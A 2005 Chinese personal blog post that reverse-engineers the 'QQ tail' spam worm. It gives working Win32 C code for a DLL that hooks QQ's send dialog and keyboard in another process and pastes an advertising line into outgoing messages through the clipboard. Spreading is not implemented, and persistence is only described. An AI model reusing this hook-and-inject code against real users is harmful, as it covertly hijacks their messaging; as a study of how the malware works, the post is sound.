半吊子
日历
网志分类
· 所有网志 (82)
站内搜索
友情链接
· 歪酷博客
· 我的歪酷 非非共享界

订阅 RSS

0069910

歪酷博客

« 上一篇: 当一个妇科医生(8)——无奈的Loading…… 下一篇: 佛说:我也没辙…… »
天地间有我 @ 2005-09-07 23:45

好像这个标题是有问题的,尾巴就尾巴好了,怎么还脸啊。大概是这段时间看正经八百的“蓝宝书”看多了,时不时的想出来BT一把吧!比如,昨天XML课上面,老师互然想让我们解释“多态”的时候——XML和UML是同一个老师开的课——我就把我那套“老爸”“儿子”“手机”的理论拿了出来——BT到了课堂上,可谓是BT的集大成者!

还是回到我们今天的主题上——尾巴,什么的尾巴?当然是鼎鼎大名“QQ尾巴病毒”。七、八两个月的《程序员》杂志上一直在讨论病毒和杀病毒的工作原理,当然人家讨论的都是那些很底层的病毒。说句实话有些看不太懂,唯一的收获就是对PE文件格式有些了结了。正好赶上这两天寝室同学的QQ中了“QQ尾巴”。呵呵,我真不知道因改怎么说他了,这个风靡于2003到2004年间的病毒,现在居然还有人青睐于他……废话,中病毒也不是他的错。他在痛苦的杀毒过程中,我有犯上了“妇科医生”的病,“QQ尾巴”到底是怎么工作的呢?

拿起听诊器——“Windows任务管理器”,打开X关机——“Spy++”,顺手在抄起手术刀——“Visual C++”,让我来主观臆断一下:

尾巴从哪里来的?

尾巴从哪里来的?这似乎是个很好解释的问题,WIN32的系统有一种很有用的东西,之所以说他有用,就是只要能好好利用他能出现很多惊人的效果。“QQ尾巴”当然就是用了“剪贴板”这个好东西!其实他就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。之所以说是RichEdit,当然不是我猜出来的了,大家可以用Spy++查查看。



顺手就能写出这样一段代码:
       TCHAR g_str[] = "想看BT版的编程技术就来我的Blog:http://cnxiaohai.yculblog.com/";
       // 函数功能:向文本框中粘贴尾巴
       void PasteText(HWND hRich)
       {
               HGLOBAL hMem;
               LPTSTR pStr;
               // 分配内存空间
               hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
               pStr = GlobalLock(hMem);
               lstrcpy(pStr, g_str);
               GlobalUnlock(hMem);
               OpenClipboard(NULL);
               EmptyClipboard();
               // 设置剪贴板文本
               SetClipboardData(CF_TEXT, hMem);
               CloseClipboard();
               // 释放内存空间
               GlobalFree(hMem);
               // 粘贴文本
               SendMessage(hRich, WM_PASTE, 0, 0);
       }


尾巴什么时候贴上去呢?

这是一个关键的问题,我一个想法是用计时器来控制粘贴的时间。这样的话,代码道是好写了
       void CQQTailDlg::OnTimer(UINT nIDEvent)
       {
               PasteText(hRich);
       }

但是问题马上就出来了,这种方法存在的很大的局限性。就是这个计时器的间隔到底应该是多少呢?其实,无论设置的合理或者是不合理,都是不合理的。不是贴不上去,就是在不该贴的时候贴出来了。

但,病毒本身不是这样的。看看同学那台中病毒的机器。它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。我在他的机器上还做过一个试验,开了一对占用CPU的程序,其实也就是一连开了好几个Super Pi,让他的CPU一直顶在100%上,这是我能很清楚的看到这段文本被粘贴到那个RichEdit里面。

马上换一个思路,我想到介绍做游戏外挂的文章中提到过一种东西叫:钩子!——为什么我不试试用钩子去思考这个问题呢?

钩子到底是什么东西啊?所谓Win32钩子(hook)“是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。”这句话使用某某某的书上抄来的。我妇科医生的本性又出来了。

想当年,乾隆年二十四年六月二十七——你看这时间多准啊!其实说二十八也行,没人跟我叫这真儿——闻学使施公愚山奉亲命赴济南府东昌县访贤,在东昌县亲审卞胭脂一案,为东郭名士宿介平反。“玄烨”就是Win32;“施愚山”就是这个钩子;“卞胭脂一案”就是这个消息;“平反宿介”就完成这个特定得功能。就像施愚山能专职为宿介平反一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。

问题回到了“QQ尾巴”上边,就是我们需要一个钩子,在用户单击了“发送”按钮之后,粘贴我们的文本。我想这段钩子是可以如下实现的,至于如何挂接这个钩子,我会在稍后说明:
       // 钩子过程,监视“发送”的命令消息
       LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
       {
               CWPSTRUCT *p = (CWPSTRUCT *)lParam;
               // 捕获“发送”按钮
               if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
               {
                       PasteText(g_hRich);
               }
               return CallNextHookEx(g_hProc, nCode, wParam, lParam);
       }

对于么几行试验性的代码,我道是可以说说道道一些了

1、lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:
       typedef struct
       {
               LPARAM      lParam;
               WPARAM      wParam;
               UINT        message;
               HWND        hwnd;
       } CWPSTRUCT, *PCWPSTRUCT;

当然这是抄MSDN的,让我乎诹一个当然行,就怕WIN32系统不认。看到这里,像我一样的SDK fans一定会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。

2、g_hRich是一个全局变量,它保存的是QQ消息文本框的句柄。这里之所以采用全局变量,是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置,我会在稍后说明。

3、CallNextHookEx是调用钩子链中的下一个处理过程,换了施愚山就会说:“本亲命是来调查卞胭脂一案的,来人啊,提人犯宿介”——好了,不BT了——这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序就会没有响应。

4、还有就是,为什么我捕获的是WM_COMMAND消息,这个原因让我来用下面的SDK代码来说明——虽然QQ是用MFC写的,但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系,怎么说MFC和SDK本事同根生吗。
       #define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义


       // QQ发送消息对话框回调过程·伪造版
       LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
       {
               switch (Msg)
               {
                       case WM_CLOSE:
                               EndDialog(hDlg, 0);
                               break;
                       case WM_COMMAND:
                       {
                               switch (LOWORD(wParam))
                               {
                                       case IDC_BTN_SENDMSG:
                                               // 发送消息...
                                               break;
                                       // 其它的命令按钮处理部分...
                               }
                       }
                       break;
                       // 其它的case部分...
               }
               return 0;
       }

消息发送的整个过程是:当用户单击了“发送”按钮后,这个按钮的父窗口——也就是“发送消息”的对话框——会收到一条WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))为这个按钮的ID,然后再调用代码中发送的部分。所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。

好了,现在这个钩子已经可以胜利地完成任务了。但是请不要忘记:有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中还需要挂上一个键盘钩子:
     // 键盘钩子过程,监视“发送”的热键消息
     LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
     {
             // 捕获热键消息
             if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
             {
                     PasteText(g_hRich);
             }
             return CallNextHookEx(g_hKey, nCode, wParam, lParam);
     }


至于还有人喜欢用“Enter”热键来发送消息只要再加上一条就可以了。

在这里唯一要解释的一点就是lParam >= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候调用PasteText,也就是说,如果去掉这个条件,PasteText将会被调用两次——连同WM_KEYUP的一次,这个消息的观察也可以通过Spy++做到。

怎么把钩子挂到QQ的窗口上呢?

对于晒衣服大家都会的,晒衣服的时候当然只要考虑两个问题:衣服往哪里晒?怎么晒?——好像又是一个可以上升到哲学高度的问题了。当然,对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?

挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线程。就是将这个窗口的句柄传入之后来进行钩子的挂接:
       // 挂接钩子
       BOOL WINAPI SetHook(HWND hQQ)
       {
               BOOL bRet = FALSE;
               if (hQQ != NULL)
               {
                       DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
                       g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
                       if (g_hRich == NULL)
                       {
                               return FALSE;
                       }
                       // 挂接钩子
                       g_hProc = SetWindowsHookEx(WH_CALLWNDPROC,
                                                      CallWndProc,
                                                      g_hInstDLL,
                                                      dwThreadID);
                       g_hKey = SetWindowsHookEx(WH_KEYBOARD,
                                                      KeyboardProc,
                                                      g_hInstDLL,
                                                      dwThreadID);
                       bRet = (g_hProc != NULL) && (g_hKey != NULL);
               }
               else
               {
                       // 卸载钩子
                       bRet = UnhookWindowsHookEx(g_hProc) &&
                                  UnhookWindowsHookEx(g_hKey);
                       g_hProc = NULL;
                       g_hKey = NULL;
                       g_hRich = NULL;
               }
               return bRet;
       }

到此为止,以上所有的代码都位于一个DLL的动态链接库之中,关于DLL我就不多介绍了。DLL之中已经做好了所有重要的工作——事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的——我们只需要在EXE之中调用导出的SetHook函数就可以了。那么,SetHook的参数如何获得呢?接着做试验。
       HWND hSend;
       g_hQQ = NULL;
       SetHook(NULL);
       do
       {
               g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
               hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&S)");
       } while(g_hQQ != NULL && hSend == NULL);
       if (g_hQQ != NULL)
       {
               SetHook(g_hQQ);
       }

至于"#32770","Button", "发送(&S)"都是可以再Spy++中找到的。这段代码中的do-while循环就是用来查找“发送消息”的窗口的,QQ窗口的保密性越来越强了,窗口一层套一层,找起来十分不便——这也是双刃剑,QQ占用系统内存越来越大,QQ用起来越来越慢,也是多亏了这些窗口嵌套的帮忙啊。

DLL的共享数据段
       // 定义共享数据段
       #pragma      data_seg("shared")
       HHOOK        g_hProc = NULL; // 窗口过程钩子句柄
       HHOOK        g_hKey = NULL; // 键盘钩子句柄
       HWND         g_hRich = NULL; // 文本框句柄
       #pragma      data_seg()
       #pragma      comment(linker, "/section:shared,rws")

这定义了一段共享的数据段,是的,我已经在注释李写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我们把大脑变成Visual C++的编译器,在大脑中把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,用大脑运行一下:好像,好像,尾巴没了。

是的,添加尾巴失败!

我的解释是:这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量g_hRich来说,图中左边的DLL通过EXE的传入获得了文本框的句柄,然而如果没有共享段的话,那么右边的DLL中,g_hRich仍然是NULL。共享段于此的意义也就体现出来了,就是为了保证EXE、DLL、QQ三者之间的联系。这一点,和C++中static的成员变量有些相似。

如果在钩子挂接成功之后,你可以通过一些有模块查看功能的进程管理器看一看,就会发现这个DLL也位于QQ.exe的模块之中。

再废话一些

当然就算我把我的这些想法全实现了,他也不是一个病毒。病毒的自我复制性和传播性都是没有实现的。不是我为了保护大家的QQ,是我也不知道这个因改怎么做。不过听说,它利用IE的邮件头漏洞在QQ上传播的。我还不理解这是怎么会是,不过我想,这个漏洞我们尊敬的Microsoft应该早就缝过补丁了。

对于我这样想法的“QQ尾巴”是可以手工杀毒的,其实,只要通过任务管理器,就能中止这个进程。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后,DLL会将其唤醒。查过一些资料,这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程,真可谓是一石二鸟——保证EXE永远运行,同时这个正在使用中的DLL是无法被删除的。有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。


最新评论


小子

2005-09-15 11:34 网址: http://spaces.msn.com/members/carrielulu/

渣子,你越来越IT了~~~
真的是在往你想走的地方走~~~~
这样子真好!!
但也觉得渣子远了.....
希望我们的目标能够达到.....

为了我们的目标奋斗!

评论 / 个人网页 / 扔小纸条
* 昵称

已经注册过? 请登录

新用户请先注册 以便能显示头像及追踪评论回复

Email
网址
* 评论
表情
 


 

分类小组论坛
杂谈 , 娱乐、八卦 , 文学、艺术 , 体育 , 旅游、同城 , 象牙塔 , 情感 , 时尚、生活 , 星座 , 科技

请注意遵守中华人民共和国法律法规, 如威胁到本站生存, 将依法向有关部门报告, 同时本站的相关记录可能成为对您不利的证据.

相关法律法规
全国人大常委会关于维护互联网安全的决定
中华人民共和国计算机信息系统安全保护条例
中华人民共和国计算机信息网络国际联网管理暂行规定
计算机信息网络国际联网安全保护管理办法
计算机信息系统国际联网保密管理规定